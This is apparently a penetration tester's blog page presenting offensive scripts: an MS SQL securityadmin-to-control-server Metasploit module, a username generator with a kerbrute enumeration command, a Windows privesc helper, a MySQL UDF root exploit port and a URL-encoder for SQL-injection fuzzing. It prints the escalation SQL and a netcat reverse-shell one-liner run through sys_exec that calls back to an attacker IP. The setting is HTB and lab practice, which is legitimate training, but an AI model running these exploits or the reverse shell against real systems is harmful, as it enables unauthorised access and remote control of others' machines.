Category: Tools & Scripts

https://github.com/atthacks/mssql-secadmin-privesc

It’s been a while – I have been crazy busy with work and life in general and unfortunately let the blog slip a little. All the plans I want to do are in the pipeline at some point. It’s just a case of finding the time!!

Anyway, today I give you a custom Metasploit module to add to your arsenal. Within MS SQL Server, there is a very easy way to elevate your privileges from the “Security Admin” server role. By default, the “Security Admin” role does not have permission to enable “xp_cmdshell” to allow you to get code execution on the machine. However, you can create new users. The user you create cannot be assigned a permission higher than the “Security Admin” (which makes sense). But what you can do is grant “Control Server” permissions instead.

I won’t go into detail on what the differences between “Control Server vs sysadmin” are here. But rest assured there are plenty of other blogs out there which highlight this / similar issues to what this Metasploit module exploits. With the “Control Server” permissions, you pretty much have the keys to the castle and have the ability to enable “xp_cmdshell” in order to get code execution.

I may be wrong, but I haven’t seen an equivalent Metasploit module for this? Anyway, I’ll just to give you a run down of what the script does:

• Checks to see if the user has “securityadmin” role.
• If so, then a new user is created.
• Control Server permissions assigned to new user.
• Then you will need to manually log in as your new user and enable xp_cmdshell.

So as you can see it’s straight forward. Installation instructions will be on the Github page.

If you would like to run these steps manually then these will be the steps after logging into SQL Server:

select is_srvrolemember('securityadmin') as IsSecAdmin

create login pwned with password=Password123!, check_policy=off;

grant control server to pwned;

It’s as simple as that.

Anyway, I hope this has helped someone. At some point I may change the script to automatically log in as the new user and then pwn using xp_cmdshell. This is my first go at a custom Metasploit module and I haven’t done a lot of Ruby yet, so it’ll be quite a nice project to continue with when I get the time.

Thanks for reading 🙂

What’s this?

Ugen is the latest script I have added to my GitHub repository. It is nothing spectacular and is just a simple python script to transform a list of “firstname, lastnames” into potential username formats.

I made this script while working on a HTB Windows machine. The box had a webpage showing a list of employees (firstnames and lastnames) and I had no way of quickly and efficiently checking the username format they had chosen.

Names should be entered into a text file in the following format:

firstname,lastname
firstname,lastname
firstname,lastname

Then simply run the tool like this:

python -i userInput.txt -o userOutput.txt -n

The “-n” switch is optional and will append the numbers 1-5 to the end of each username possibility. For example, jbloggs1, jbloggs2 etc.

Typically, you can follow this up and use kerbrute to enumerate the usernames in this list to identify which username format is correct.

kerbrute userenum --dc 10.10.10.120 -d domain.local ugen_list.txt

I have purposely blurred out the usernames and domain names as I hope to have some Windows challenges coming out soon and do not want to reveal any details about what is valid etc.

Anyway, hope someone finds this useful.

🙂

Well I planned to spend the day on HTB – that didn’t happen!

Privescker is a tool I created after experiencing the pain of downloading files to Windows after initially gaining a shell.

I made some changes today as initially I embedded the binaries within privescker.exe. But now I download the zip from the attack machine and extract them all in one go.

Still lots to do and improve this. Got some really cool ideas how to take it further so keep checking back for an update on this one.

I won’t write a long blog for this one as I am shattered and food is almost ready – just check out the GitHub for all the details on how it works https://github.com/atthacks/Privescker

Hope someone finds it helpful. Enjoy 🙂

I haven’t had as much time as I would have hoped to start on some other projects as I would have liked. But I have uploaded two new scripts to my GitHub (https://github.com/atthacks/).

udf_root_py3

https://github.com/atthacks/udf_root_py3

This is a really useful script but unfortunately I cannot take the credit for this one. I have simply changed a few lines to make it Python 3 compatible. The original author d7x (https://twitter.com/d7x_real/) did a great job at automating this MySQL privilege escalation (https://www.exploit-db.com/exploits/1518).

As you can see there are usually a number of manual steps to complete this privesc. However, if you find yourself in a position where you can use this exploit then simply running this script and passing the MySQL username and password will automate the process.

python3 udf_root_py3.py --username root --password rootPassword

You may or may not have success with the root shell it attempts to open for you. In my experience I had to exit the shell it entered me in and return to the mysql instance before using the following commands to execute commands as root.

select sys_exec('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.12 80 >/tmp/f');

urlencode-list

https://github.com/atthacks/urlencode-list

What is this script?

This was a quick Python script I put together to URL encode / decode lists.

Why did I create it?

This can have a lot of uses not just in pentesting / CTF exercises. The reason I made this in particular was because I was in a situation where I could not use a tool such as sqlmap to detect sql injection and instead of manually testing everything off my sql injection cheatsheet I could automate it with a tool like wfuzz.

Where have I used it?

I recommend checking out bootlesshackers Insanity Hosting machine on Vulnhub for an example box of where this may be useful.

Using Burp Intruder, you can upload a list and there is a tickbox option to automatically URL encode specific characters under Intruder >> Payloads >> Payload Encoding.

Now if you have the Community version of Burp, using Intruder like this can take a long time especially if you have a large list. It is simple enough to recreate the request for wfuzz (or similar) and use the output of this tool as your input file for wfuzz.

Notes

Soon I will be making a post on how to use tools such as wfuzz in order to look for SQL Injection without using a fully automated tool such as sqlmap.

Other ways of doing this?

There are lots of ways / scripts to do this and when you look online there are many encoders / decoders. However, what I found is that they all seem to encode the entire contents into a single line which doesn’t help you if you wanted to use it in an attack like mentioned above.

Anyway I hope someone finds these scripts useful.

🙂